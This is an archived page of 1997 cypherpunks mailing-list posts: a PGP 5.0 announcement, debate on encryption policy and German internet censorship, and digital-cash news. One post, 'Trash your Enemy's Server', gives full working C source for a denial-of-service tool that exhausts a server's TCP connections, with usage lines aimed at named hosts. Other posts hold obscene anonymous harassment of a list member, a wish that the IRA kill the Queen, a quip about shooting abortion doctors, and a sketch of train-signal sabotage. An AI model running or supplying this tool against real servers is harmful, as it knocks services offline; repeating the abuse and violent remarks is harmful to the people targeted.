December 2003 - cypherpunks-legacy

[ANNOUNCE] Phil Zimmermann on recent FUD and PGP 5.0 plans
by Dave Del Torto 17 Dec '03

17 Dec '03

A message from our Fearless Leader... dave ................................. cut here ................................. -----BEGIN PGP SIGNED MESSAGE----- Last month, Pretty Good Privacy Inc went through a reorganization in its top management. We were spending too much money, too fast. Tom Steding was replaced by Phil Dunkelberger as the president of PGP, and I handed over the chairman title to Jonathan Seybold, who had been, with me, the original cofounder of the company. Jonathan is devoting his time to the business side of things, while I am focussing my attention on my role as chief technology officer. I have seen some speculation in some usenet newsgroups that these changes were in some way connected with the fact that PGP was recently sued by RSA Data Security over some dispute regarding royalties for use of the RSA patent, which PGP holds a license to. Let me set the record straight on this. There are sound business reasons why this shuffling of top management occurred at PGP, and these reasons are known to all of our employees. The RSA lawsuit against PGP is absolutely not one of the reasons, not even remotely. I don't think shuffling top management is a likely reaction for any company to take in response to a lawsuit, even if the lawsuit had merit, which this one does not. We fully expect the RSA matter to be resolved in arbitration proceedings, in our favor. I know that it is common practice for some companies to issue statements to "spin" the story about certain events, sometimes at the expense of truth. This makes a lot of people understandably skeptical about such explanations. I do have responsibilities toward my company, but no one could get me to deny a truth about the reasons for the restructuring. The truth is, the restructuring had absolutely nothing at all to do with the RSA lawsuit. I would now like to announce that we will be releasing PGP 5.0 in mid-June. It's in beta release right now on our web page (www.pgp.com) In keeping with my own dedication to personal freedom and privacy, we will be releasing a freeware version for noncommercial use through MIT's web site (web.mit.edu/pgp) just like in the old days before the company was formed. And we do plan to publish the full PGP source code for Mac, Windows 95, and Linux. There are a lot of new exciting features, including automatic key lookups from remote key servers on the Internet, which will likely result in the rapid growth of a ready-made nationwide PGP public-key infrastructure, on an unprecedented scale. We are also encouraging the migration to new public key algorithms in addition to RSA, namely the NIST Digital Signature Standard (DSS), as well as Diffie-Hellman (Elgamal) keys. We expect most of the new users to be using these new algorithms instead of RSA, in part because they offer new features, better performance, and better security for the same key sizes. I hope that you will all join me in this opportunity to move to these new algorithms, allowing everyone to finally enjoy the use of public key cryptography without the encumberances of patents. Philip Zimmermann Chief Technology Officer, PGP Inc. -----BEGIN PGP SIGNATURE----- Version: PGP for Personal Privacy 5.0 Charset: noconv iQCVAwUBM5WoZWV5hLjHqWbdAQGaxgP/UM+i7Pz38x68zdWVOsTrQVepa+0FUndC NkvTi5iMTC9up7HJgleXMWuAB00qVB8XlC1/6oSx4Ot+gTecu0wXgNG/l8LXFBAo YYxlPhR497fvKfnWXATkJ3jQJAQbACHXzh7Wycc1MGq+46o6+CkECrUvUs8//KQT toJMdfVJEVA= =ywNo -----END PGP SIGNATURE-----

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NYT on German Net Police
by John Young 17 Dec '03

17 Dec '03

The New York Times reports on page one the German prosecution of a woman who linked her home page to Radikal. It reviews XS4ALL's role, describes Radikal and its mirror sites and links to them all: http://www.nytimes.com/library/cyber/week/060697germany.html It says that Kohl is determined to find a way to police the Net in spite of technical work-a-rounds. Recall a previous report that Kohl and other heads of state are to meet in Denver on June 20-22 to plan a global attack on "cyber-terrorism," including the spread of encryption: http://jya.com/denver.htm

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Re: JIWAR Registration
by William Church 17 Dec '03

17 Dec '03

Confirmed

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Re: JIWAR Registration
by William Church 17 Dec '03

17 Dec '03

Confirmed with username cypherpunk1

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One more step...
by nexus＠eskimo.com 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- I received this in the morning CNET news: HOW PRIVATE IS YOUR NET SURFING? FBI VS. CDT BATTLE WILL DECIDE http://www.news.com/Radio/index.html?nd At the FTC's online privacy hearings next week, the debate will turn on the FBI's right to "intercept" information on the Net. Listen to CNET Radio to see why the Center for Democracy and Technology wants the spooks to back off. So where does the FBI think they get their 'right' to intercept net traffic? Who knows, but I'm sure its already happening and will continue to happen no matter what the FTC rules. Brian -----BEGIN PGP SIGNATURE----- Version: 5.0 beta Charset: noconv iQCVAwUBM5geZKQxGtxXsXypAQFOeAP7BS9UAeFVxA2pokA7CSD/HwAgo3rGbFH6 Mm7ISfn7c4hK2sTVIcgCvCFJCDfXxXGPTuZOA7o9LEfE6b0TDw0JuJ1bbUkf9zqi JkpSpLipesJz56bzMi//jNiY7I1Da5rWpYPSXn5EsrZ1WdslXsGs7uiBTMQFixcL 4bMO5o1LPtA= =nD0+ -----END PGP SIGNATURE----- ---------------------------------------------------------------------------------- Brian C. Lane http://www.eskimo.com/~nexus KC7TYU ------------------ 96B9 C123 5C90 BECC 6A1F 7DC6 4F2B A26E --------------------

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Re: Webpage picketing
by lucifer＠dhp.com 17 Dec '03

17 Dec '03

On Fri, 06 Jun 97 00:24:59 -0500, "William H. Geiger III" <whgiii(a)amaranth.com> said: >Well down here in Pensacola where we like to shoot abortion doctors I >beleive that there is a 50' seperation (other side of the street). Actually, this law was lobbied for by Zeiss Optical. They're trying to increase sales of rifle scopes.

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Re: e$: The greater fool theory of Digicash, quantified, roughly
by Robert Hettinga 17 Dec '03

17 Dec '03

--- begin forwarded text Sender: e$(a)thumper.vmeng.com Reply-To: Robert Hettinga <rah(a)shipwright.com> Mime-Version: 1.0 Precedence: Bulk Date: Fri, 6 Jun 1997 10:05:34 -0400 From: Robert Hettinga <rah(a)shipwright.com> To: Multiple recipients of <e$(a)thumper.vmeng.com> Subject: Re: e$: The greater fool theory of Digicash, quantified, roughly At 2:54 am -0400 on 6/6/97, somebody wrote: > I don't think Chaum is in it for the money. You say he has family money. > This fact makes my contention more likely. The paradox, of course, is that money is just a way of keeping score. :-). If Chaum's aim was to make the blind signature patent as ubiquitous as possible, he's failed just as miserably as if he were trying to make money on it. Cheers, Bob Hettinga ----------------- Robert Hettinga (rah(a)shipwright.com) Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/ ---------- The e$ lists are brought to you by: Intertrader Ltd: "Digital Money Online" <http://www.intertrader.com/library/DigitalMoneyOnline> Where people, networks and money come together: Consult Hyperion http://www.hyperion.co.uk info(a)hyperion.co.uk Like e$? Help pay for it! <http://www.shipwright.com/beg.html> For e$/e$pam sponsorship, mail Bob: <mailto:rah@shipwright.com> Thanks to the e$ e$lves: Of Counsel: Vinnie Moscaritolo <mailto:vinnie@webstuff.apple.com> (Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com> Commermeister: Anthony Templer <mailto:anthony@atanda.com> Interturge: Rodney Thayer <mailto:rodney@sabletech.com> --- end forwarded text ----------------- Robert Hettinga (rah(a)shipwright.com) Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/

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Re: Privacy-loving Europeans are at it again
by John Young 17 Dec '03

17 Dec '03

Tim May wrote: >Wait a minute, John! Aren't these the same Europeans described by Marc >Rotenberg as being more privacy- and liberty-loving than Americans? Indeed, the same. The same as those righteous pastors who nudged us youngsters to sow oats across the Rio Grande to protect the virtue of innocents who were delighted to sneak away to join us and the mestizos in the dry creek bed just outside town. The same as the generals and pols who now hector and lecture us to deny their seignorial infidelities and cover-ups. Heads of state, leaders of armies, defenders of law, hah! Best show in years, watching these pigfesters finger each other while seen-it-all Virtue and Justice laugh and crook up the next quaverer ashaking.

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No Subject
by SHIVAANI KUMAR 17 Dec '03

17 Dec '03

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[URGENT] Sphere packings
by nobody＠REPLAY.COM 17 Dec '03

17 Dec '03

Tim C[unt] May's 16Kb brain's single convolution is directly wired to his rectum for input and his T1 mouth for output. That's 16K bits, not bytes. Anal intercourse has caused extensive brain damage. /////// \-oo-/ Tim C[unt] May \--/ \/

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Re: NYT on German Net Police
by John Young 17 Dec '03

17 Dec '03

Robert Hettinga wrote: >> Recall a previous report that Kohl and other heads of state are >> to meet in Denver on June 20-22 to plan a global attack >> on "cyber-terrorism," including the spread of encryption: >> >> http://jya.com/denver.htm > >Wow. What an opportunity for street theater *that* might be... Excellent suggestion, Agent Provocateur (AP) Bob. There is surely a PR connection between the McVeigh trial and the cyber-terrorism summit. That promo's crucial for the counterterrorism juggernaut. Now, what would be the cyber-version of street theater? For examp, the security arrangements for the trial will be broadened, and artfully leaked to the Denver-ensconced and equipped media, to promote and protect the priceless Derrieres of State. But what might cyber-terribles do to work-a-round the highly classified meat protections? Confidential commo is crucial to yarping pols and talking heads, uplinks and unedited feeds are going to be zapping 'round the globe. What liberating theatrics could be exhibited spoofing, cracking, hacking, phreaking these urgent communiques to ardent tax-henchers and sofa-ensconced tubers. Denver's Judge Downes sent a missive in plaintext to IRS, a spit in the bucket another Bob said. What about a bigger oyster hawk at the lens and mikes of the leaders of the free worlds? Do nothing illegal, for sure, just civilly disobedient. (We'll put Downes's 17-age ruling up in a while.)

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Re: [CONTROVERSIAL]: A Defense of Terrorism
by Rich Graves 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- I have reasonable doubts as to whether Paul Bradley <paul(a)fatmans.demon.co.uk> wrote: > > not! The major reason people can't live together is furnished by > > politicians who feel they should make it to history books ;-( > > Tims post made a good point, people soon forget the causes of conflict > and only see the effects, today, hardly anyone in the UK sees the IRA as > an organisation devoted to liberating NI, merely a bunch of thugs. Of > course they have brought this on themselves by indiscriminately blowing > things up. Talking of which the Queen is visiting Hastings (a town about > 5 miles from me) today, I hope the IRA blow her up... How many Irish nationalists do you know? The ones I know consider the IRA to be a bunch of thugs. Their attitude towards sympathizers in the US is similar to the attitude most Israelis have towards the kind of American wackos who killed Rabin. That's probably too nuanced for you, so to simplify: I think they're a bunch of thugs. They're just as thuggish towards "their own" as they are towards the Loyalists. Express a moderate or humanistic point of view in certain NI neighborhoods and the IRA thugs will make sure you're censored for good. AS Bill Frantz pithed a few weeks ago: the problem is not anarchy -- the problem is too many competing governments in one place. Thuggery isn't the answer to historical thuggery. - -rich http://www.stanford.edu/~llurch/ -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQBVAwUBM5is8ZNcNyVVy0jxAQGtVgIAgpdMWOvv76Pf9eByDe5PkOW+7TmJwKA3 bUeUtRO9ydymz35qkEp+zD2n16dX1qft52h4nqmkIEVh6hKTiM0Jyw== =TRvQ -----END PGP SIGNATURE-----

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No Subject
by Mix 17 Dec '03

17 Dec '03

Now is the time for all good little boys to cum in Tim C. May's big mouth. >\\\|/< |_ ; (O) (o) -OOO--(_)--OOOo- Tim C. May

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Thomases lose appeal in second case
by Bill Stewart 17 Dec '03

17 Dec '03

Remember the Amateur Action BBS case from 1994, when Robert Thomas got convicted by a Federal court in Tennessee for distributing pornography on his BBS in California? Well, he was also prosecuted in Utah for distributing pornography from the BBS (the Merc doesn't say if it was a state or federal prosecution, but it looks like state), and he just lost his appeal in Federal court. One of his defense arguments was double jeopardy, and the court rejected that because the Utah court busted him for different pictures than the Tennessee court. While distributing child pornography is reprehensible, it's still none of Utah's business; the ACLU lawyer defending Thomas says there's no evidence that any Utah citizens actually downloaded any (except the police). # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts(a)ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list or news, please Cc: me on replies. Thanks.)

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FW: TV Commercial
by Roger J Jones 17 Dec '03

17 Dec '03

Having spent a fair amount of time on the high seas on gray ships I found the following interesting in that: 1) Back in WWII days Aldis lamps were a pretty good option. Unless you had a submerged enemy sub in your convoy you would most likely notice anyone who could intercept your communications. Since of course convoys could travel faster than submerged subs the exposure was also limited in time. Add of course the fact that most of the messages were in code, frequently unique for a given transit. 2) Consider the changes in today's environment: a) Image intensifying lenses make over the horizon (cloud bounce) reception possible. b) Subs can move faster underwater than most surface ships. c) Satellites could pick up the light pulses - either directly (if low horizon) or reflectively (off the water) d) I suppose that the right spectrum could also pick up the heat caused by the filament of the lamp. Of course, since it now takes about 45 gizillion people on a ship to "sign out" a message for release, the only messages that go out over Aldis lamps are the signalmen swapping scuttlebutt and sea stories in the name of "on the job training" "Fair winds and following seas!" An old salt. -----Original Message----- From: Bill Frantz [SMTP:frantz@netcom.com] Sent: Friday, June 06, 1997 11:13 AM Subject: Re: TV Commercial At 12:34 AM -0700 6/6/97, David Lucas wrote: >It's a nice thought, but the image is all wrong. Two ships communicating >via Aldis lamps (presumably, I haven't seen the ad) using Morse at a guess, >isn't what I would call very secure communication. Well, the Japanese managed to keep secure communications when sneeking up on Pearl Harbor, and I assume they used something similar for ship-to-ship communications. Narrow beam, and everyone who can receive is in sight is nice.

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No Subject
by xmasterx＠juno.com 17 Dec '03

17 Dec '03

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Mixture Generation vs. Moduler Exponantion Approach?
by Jenjen 17 Dec '03

17 Dec '03

Recently I learned a new crypto algorithm--RPK (see www.rpk.co.nz) It's based on mixture generator (MG) approach and claims much faster than all existing public-key crypto-algorithms. But some people argue that MG is not much different from moduler exponantiation (ME) approach, which has been used in some existing crypto-algorithms. Therefore, RPK may not be that much faster than others. I'm new in this field and not sure whether these 2 approaches (Mixture Generation vs. Moduler Exponantiation) are very different or not? Can MG be much faster than ME or no much difference? Would you help me with these questions or point me to a right direction? I'd appreciate your help.

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Trash your Enemy's Server
by ichudov＠Algebra.COM 17 Dec '03

17 Dec '03

/***************************************************************************/ /* con_dos.c -- Denial Of Service by opening many dangling TCP Connections */ /* Copyright(C) 1997 Ignoramus_Chewed-Off(a)algebra.com */ /***************************************************************************/ const char * Usage = "Error: %s\n" "USAGE: %s (block|grind) hostname service# #connections\n" "\n" "This program opens #connections connections to the specified host.\n" "It can be used to deny services, slow down and crash Internet servers.\n" "\n" "If #connections is set to 0, it opens as many connections as it can\n" "and continues trying to do so as long as it runs. Use Control-C to \n" "interrupt it. NOTE that depending on your OS, it may hurt you too.\n" "\n" "If #connections is not 0, this program only opens #connections of them.\n" "After that, if the first argument is 'block', it simply sleeps. If the\n" "first argument is 'grind', it starts opening and closing connections\n" "in a round robin manner every second.\n" "\n" "This program is for EDUCATIONAL USE ONLY. Please do not use it for\n" "anything illegal. There is no warranty. Copyright(C) Ignoramus Chewed-Off.\n" "\n" "USE EXAMPLE: \n" " %s grind victim.com 80 1000\n" "-- opens 1000 HTTP connections to victim.com and waits\n" " %s block www.agis.net 80 0\n" "-- constantly attempts to open HTTP connections to www.agis.net\n" ; #include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/types.h> #include <netdb.h> #include <sys/socket.h> #include <netinet/in.h> #define USAGE( msg ) \ fprintf( stderr, Usage, msg, argv[0], argv[0], argv[0] ), \ exit( 1 ) /* after I open this many additional connections (for n_connections == 0), I wait for 1 second, just in case */ #define MAX_CONN 50 typedef enum { CON_BLOCK, CON_GRIND } ConMode; /* create a client socket connected to PORT on HOSTNAME */ int create_client_socket(char ** hostname, int port) { struct sockaddr_in sa ; struct hostent *hp ; int a, s ; long addr ; bzero(&sa, sizeof(sa)) ; if ((addr = inet_addr(*hostname)) != -1) { /* is Internet addr in octet notation */ bcopy(&addr, (char *) &sa.sin_addr, sizeof(addr)) ; /* set address */ sa.sin_family = AF_INET ; } else { /* do we know the host's address? */ if ((hp = gethostbyname(*hostname)) == NULL) { return -2 ; } *hostname = hp->h_name ; bcopy(hp->h_addr, (char *) &sa.sin_addr, hp->h_length) ; sa.sin_family = hp->h_addrtype ; } sa.sin_port = htons((u_short) port) ; if ((s = socket(sa.sin_family, SOCK_STREAM, 0)) < 0) { /* get socket */ return -1 ; } if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) { /* connect */ close(s) ; return -1 ; } return s ; } int main( int argc, char *argv[] ) { char * name; int port, n_connections; int s; ConMode mode; if( argc != 5 || (argc >= 1 && (!strcmp( argv[1], "--help" ) || !strcmp( argv[1], "-help" )))) { USAGE( "Wrong Number of Arguments" ); } if( !strcmp( argv[1], "block" ) ) { mode = CON_BLOCK; } else if( !strcmp( argv[1], "grind" ) ) { mode = CON_GRIND; } else { USAGE( "First argument must be 'block' or 'grind'" ); } name = argv[2]; if( (port = atoi( argv[3] ) ) == 0 ) { USAGE( "Port Number must be numeric" ); } if( !isdigit( argv[4][0] ) ) { USAGE( "Port Number must be numeric" );; } n_connections = atoi( argv[4] ); if( n_connections == 0 ) /* infinite loop */ { int i = 0; printf( "ATTENTION: This may damage even your " "computer. Press ^C to abort\n" ); while( 1 ) { if( create_client_socket( &name, port ) == -1 ) { printf( "Connection refused; sleeping.\n" ); sleep( 1 ); } else { if( (i++ % MAX_CONN) == (MAX_CONN-1) ) { printf( "You can interrupt me here. I have %d " "connections open. \nContinuing...\n", i ); sleep( 1 ); } } } } else { int * fds = (int *)calloc( n_connections, sizeof( int ) ); int i = 0; if( fds == 0 ) USAGE( "Memory Allocation Error" ); while( 1 ) /* in a loop, keep opening descriptors */ { if( fds[i] != 0 ) { printf( "Closing %d...\n", i ); close( fds[i] ); sleep( 1 ); } while( 1 ) /* try to open the new one */ { if( (fds[i] = create_client_socket( &name, port )) == -1 ) { printf( "Connection refused; sleeping.\n" ); sleep( 1 ); } else { printf( "Opened %d.\n", i ); break; } } i++; if( i == n_connections ) /* we've gone full circle */ { printf( "Done with %d connections\n", i ); if( mode == CON_BLOCK ) { printf( "I am going to sleep forever...\n", i ); while( 1 ) sleep(1); } else /* repeating the loop */ i = 0; } } } }

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Re: dnews?
by dlv＠bwalk.dm.com 17 Dec '03

17 Dec '03

"Dr. Jai Maharaj" <jai(a)flex.com> writes: > Recently, when I post an article in some newsgroups, the following > arrives by E-Mail almost insyantly. Then several hours later, the > article is forge-canceled. Any input will be appreciated! - Jai Maharaj > > > Return-Path: dnews(a)152.132.1.40 I had a couple of those. I don't think they're related to the forged cancels from bellatlantic (which should be screamed about). I'd appreciate all followups to the thread "Chris Lewis has utterly lost it", Thanks. Major updates to net.scun hopefully tonite. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

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First shots in Smart Wars
by Robert Hettinga 17 Dec '03

17 Dec '03

--- begin forwarded text Sender: e$(a)thumper.vmeng.com Reply-To: iang(a)hotlava.net Precedence: Bulk Date: 6 Jun 1997 15:20:35 -0000 From: iang(a)hotlava.net To: Multiple recipients of <e$(a)thumper.vmeng.com> Subject: First shots in Smart Wars Folks, the smart wars have started. This recently erupted in the Dutch press after bubbling along in the committee rooms for the last year. What follows is a translation and I may have lots of errors in there... This is significant because it signals a new phase in the industry of head-to-head competition for reputation and market share, using all the FUD and scare tactics that big ignorant players have available to them. At this point we can conclude that anyone who is not already fielding systems has probably missed the boat. Although this is only a boat travelling up the Amstel for now, there are some famous people waving tearfully from the wharf. It doesn't necessarily mean the end of DBBs as they are a concept that promise efficiency gains over the current mechanism. But it does mean that it will be a long drawn out battle, as any usage of same must be supported by other innovations in order to compete with large, well-heeled and scared competitors. iang ------- On Wednesday, Postbank announced introduction of the combined debit-card and Chipper-chip with two codes: one PIN code (as meant in ISO 9564-1) and one chipcode (10202-6). The PIN code is for debit-cards with magstripe and the chipcode for using the smartcard functionality (including purse). They stated that using two codes was a requirement from the central bank and that they were suprised that the other smartcard initiative (chipknip) was allowed to use only one code for both debit-card and purse-application. DNB (the Dutch National Bank) were asked for comment (Wednesday) and they denied that they instructed Postbank to use two codes. Postbank did not want to explain any further in the open press about why they chose 2 codes and kept on referring to DNB. Meanwhile a spokesman for RABO, one of the banks in the competing initiative, spoke out publicly (and frequently) that chipknip only used one code and that there was no requirement to use two codes for the two applications. The spokesman also stated that it would be possible to use this one code in a user's smart card "home-loading" devices (the so-called 'chipknipper'). On Thursday (so in the Friday newspapers) DNB informed the press that DNB uses international standards as a reference point in their review of card schemes. Operators of schemes make their own decisions within the framework of these standards. DNB only checks, depending on the choice made, which part of the standards apply and whether the implementation complies to the relevant part of the standard. The ISO-standards used will basically relate the use of a code to the security level of loading device. If a scheme operator chooses to synchronize the chipcode with the PIN-code, the more stringent PIN-code protection regime applies for that chipcode: it should be physically secure instead of merely tamper-evident. DNB stated that in the case of PIN-synchronisation one could view the use of loading terminals in or attached to banks as compliant with the ISO standards. DNB also stated that in the case of PIN-synchronization it had not been demonstrated that other (home-loading) equipment would comply with the requirements in the international standards. Volkskrant, the Dutch daily newspaper, concluded that RABO might want to reconsider using one code, since the use of this code in a home environment did not seem to comply with international standards. Trouw, another daily, analyzed that in the chipcard battle Postbank had scored a point as they were able to use their chipper in home environments with the chipcode and other banks obviously were not in that position. RABO meanwhile continued to state that they would roll out the home-loading devices at the end of the year and that these devices were technically superior, which would be the reason that no other code was necessary. --- ---------- The e$ lists are brought to you by: Intertrader Ltd: "Digital Money Online" <http://www.intertrader.com/library/DigitalMoneyOnline> Where people, networks and money come together: Consult Hyperion http://www.hyperion.co.uk info(a)hyperion.co.uk Like e$? Help pay for it! <http://www.shipwright.com/beg.html> For e$/e$pam sponsorship, mail Bob: <mailto:rah@shipwright.com> Thanks to the e$ e$lves: Of Counsel: Vinnie Moscaritolo <mailto:vinnie@webstuff.apple.com> (Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com> Commermeister: Anthony Templer <mailto:anthony@atanda.com> Interturge: Rodney Thayer <mailto:rodney@sabletech.com> --- end forwarded text ----------------- Robert Hettinga (rah(a)shipwright.com) Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/

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Who subscribes to the list?
by ghio＠temp0093.myriad.ml.org 17 Dec '03

17 Dec '03

If you're worried that someone might find out who is subscribed to the list by querying some of the majordomos, don't bother. I already have a list of all your IP addresses. Sendmail has a nice feature which checks all the sender or recipient addresses by doing DNS lookups on them. My nameserver is watching you. :) P.S. I'm sure none of you would be foolish enough to use penet-style remailers which do not encrypt the message headers.

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Re: Privacy-loving Europeans are at it again
by Rich Graves 17 Dec '03

17 Dec '03

It's not clear from the attributions who originally wrote: >>>The New York Times reports on page one the German >>>prosecution of a woman who linked her home page to >>>Radikal. It reviews XS4ALL's role, describes Radikal >>>and its mirror sites and links to them all: >>> >>> http://www.nytimes.com/library/cyber/week/060697germany.html This story was stale soon after it hit the "presses." The trial is on hold as the government looks (in vain?) for expert witnesses who support their position. In unrelated news, Reuters is reporting that the head of CompuServe's operations in Germany, the guy who is being sued in Munich on kiddie porn charges, is leaving to start his own company. -rich http://www.stanford.edu/~llurch/

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Re: Arguments for good crypto and against GAK.
by William H. Geiger III 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- In <199706051819.NAA06360(a)einstein.ssz.com>, on 06/05/97 at 03:00 PM, "Peter Trei" <trei(a)process.com> said: >In short, it's possible to pro-crypto, anti-GAK >without ever getting near sounding anti-government; >in fact, being pro-crypto, anti-GAK can be a >conservative, anti-crime, law & order position. Well the real problem here is not GAK it is just a symptom. The problem is the position that our current government and especially LEAs in that government have taken that we have no rights. That the Constitution and the Bill of Rights have no meaning unless it is politically convienant to them. I don't see how anyone can look at the governments behavior in its push for GAK and not have utter contempt for them. - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBM5i/ZI9Co1n+aLhhAQHxRAQAytDQhogRQkzsD88hYhWWFZen44tVj3zd nAnlF+fqxBmitzcI/iSiH9QT//lLlr5FzUCFG2g/aasuo9j0AzcXc4pM87itvbfj WFJSZ7l8aN2xAkpWrIJoRo6C90tsPKWoqy3G9N/legeJPKrBx4gtpiuWv0wTBgDA OGerKywdxnE= =y+Qb -----END PGP SIGNATURE-----

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Privacy in Europe
by Lucky Green 17 Dec '03

17 Dec '03

The recent post by John Young about the German woman charged with linking to Radikal caused me to investigate this issue. You may have heard that Radikal had an article on sabotaging train systems. The article simply stated that if you break open a certain type of control box found next to train tracks and yank the circuit boards, the trains will refuse to enter the given track segment. Hardly the worst of possible sabotages and considerably less fatal than other methods discussed on a mailing list near you. BTW, the woman has now been slapped with a new charge. Apparently it is illegal in Germany to publish criminal complaints. [Due to privacy regulations?] Since the woman has the official paperwork detailing the charges against her on her web site, she has now been charged *again* for violating the prohibition against publishing the official court documents. Things are better in Europe? You must to be joking. -- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

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17 Dec '03

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Re: Steak Knife Decryption
by dshipman＠ewol.com 17 Dec '03

17 Dec '03

At 12:44 AM 6/7/97 -0500, you wrote: > >Maybe, if the robber can convince the victim that she (robber) is >irrational and would hold on to her promise not to kill him, she could >get the money. But how to do that? > > - Igor. > > Maybe she (robber) could turn turn him (robbee) loose for fifteen minutes, to show good intentions? -------------------------------------------- DLS

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Germany to Surveil CoS
by John Young 17 Dec '03

17 Dec '03

DEPARTMENT OF STATE DAILY PRESS BRIEFING INDEX Friday, June 6, 1997 Briefer: Nicholas Burns [Excerpt] QUESTION: What is the State Department's reaction to the decision of the German Interior Ministers to put the Church of Scientology under nationwide observation by the anti-extremist watchdogs? MR. BURNS: Well, we understand that the German state and federal interior ministers have agreed to pursue the recommendations of an experts group which called for the collection of information on Scientologists and scientology. It is our understanding - and we have a very incomplete understanding, actually, of this decision - that the ministers directed state and federal law enforcement agencies to develop a plan to implement these recommendations. We will examine the details of this decision carefully, but since I don't believe our embassy in Bonn or our German experts here at the State Department have had sufficient time really to look at this in detail, I don't think it's appropriate for me to give you a detailed comment. I will say this. The United States obviously has to stand for freedom of religion. We have that in our own country and we stand for freedom of religion around the world. If you would just look at our annual human rights reports, I think four out of the last five years or five of the last six - I forget which - we have mentioned this issue of scientology. But I feel compelled to say something else about this issue, and that is that Germany needs to be protected, the German Government and the German leadership need to be protected from this wild charge made by the Church of Scientology in the United States that somehow the treatment of Scientologists in Germany can or should be compared to the treatment of Jews who had to live, and who ultimately perished, under Nazi rule in the 1930s. This wildly inaccurate comparison is most unfair to Chancellor Kohl and to his government and to regional governments and city governments throughout Germany. It has been made consistently by supporters of scientology here in the United States, and by Scientologists themselves. I do want to disassociate the United States Government from this campaign. We reject this campaign. It is most unfair to Germany and to Germans in general. QUESTION: Anything in this latest effort by Germany to deal with the Church of Scientology that concerns you? MR. BURNS: Well, Carol, as I said, we have a sketchy understanding, at best, of what this means. It appears to be instructions by state and federal law enforcement agencies to look at a set of recommendations and develop a plan upon recommendations. We have an alliance relationship with Germany. We have a very close relationship. I think among friends, you don't shoot first and ask questions later. What we need to do is study this issue, talk to the German Government about it, and then perhaps we will have something to say later on. But I think it would be most unfair to Germany for us to have detailed comments when we don't have a detailed understanding of what this process may or may not be. Yes. [End excerpt]

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Re: Arguments for good crypto and against GAK.
by Carl Ellison 17 Dec '03

17 Dec '03

At 03:00 PM 6/5/97 -6, Peter Trei wrote: >In short, it's possible to pro-crypto, anti-GAK >without ever getting near sounding anti-government; >in fact, being pro-crypto, anti-GAK can be a >conservative, anti-crime, law & order position. Yup. Let me add one more I just posted to the cryptography list. When you have non-GAK strong crypto for criminals to use, they (like the rest of us) will be seduced into believing that they have privacy and will loosen their tongues. As a result, more and better intelligence will be available over that communications channel. For the proportion of cases where the person on the other side is an agent or someone turned by threat of prosecution, this intelligence falls into the hands of law enforcement. Even better, this person who is reporting to LE is remote from the real criminal(s), so he is in substantially less danger of being frisked to discover a wire. - Carl +------------------------------------------------------------------+ |Carl M. Ellison cme(a)cybercash.com http://www.clark.net/pub/cme | |CyberCash, Inc. http://www.cybercash.com/ | |207 Grindall Street PGP 2.6.2: 61E2DE7FCB9D7984E9C8048BA63221A2 | |Baltimore MD 21230-4103 T:(410) 727-4288 F:(410)727-4293 | +------------------------------------------------------------------+

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Re: Privacy in Europe
by William H. Geiger III 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- In <Pine.3.89.9706061758.A25516-0100000@netcom22>, on 06/06/97 at 05:49 PM, Lucky Green <shamrock(a)netcom.com> said: >The recent post by John Young about the German woman charged with linking > to Radikal caused me to investigate this issue. >You may have heard that Radikal had an article on sabotaging train >systems. The article simply stated that if you break open a certain type >of control box found next to train tracks and yank the circuit boards, >the trains will refuse to enter the given track segment. Hardly the worst >of possible sabotages and considerably less fatal than other methods >discussed on a mailing list near you. >BTW, the woman has now been slapped with a new charge. Apparently it is >illegal in Germany to publish criminal complaints. [Due to privacy >regulations?] >Since the woman has the official paperwork detailing the charges against >her on her web site, she has now been charged *again* for violating the >prohibition against publishing the official court documents. >Things are better in Europe? You must to be joking. The problem with Europe is we kicked out the Germans and left the Nazi's. - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBM5i6no9Co1n+aLhhAQFIYAQAoK5o6kQ36FeI3B5uP2/FGZfpTDanDYnc LY0TCxv1BeJrzCw8nvWleouOw3IwzJmK3EiCp6A4K9svrZPfWGSXhZjvyW+6tJPB ujAz/gyUj2mFNdLz6/bJHp4uIirWPxyiJrGlBuEA8uJrGiu4n20zsXeBAvNNUY6u 6kiak6sbr9Y= =Tj5L -----END 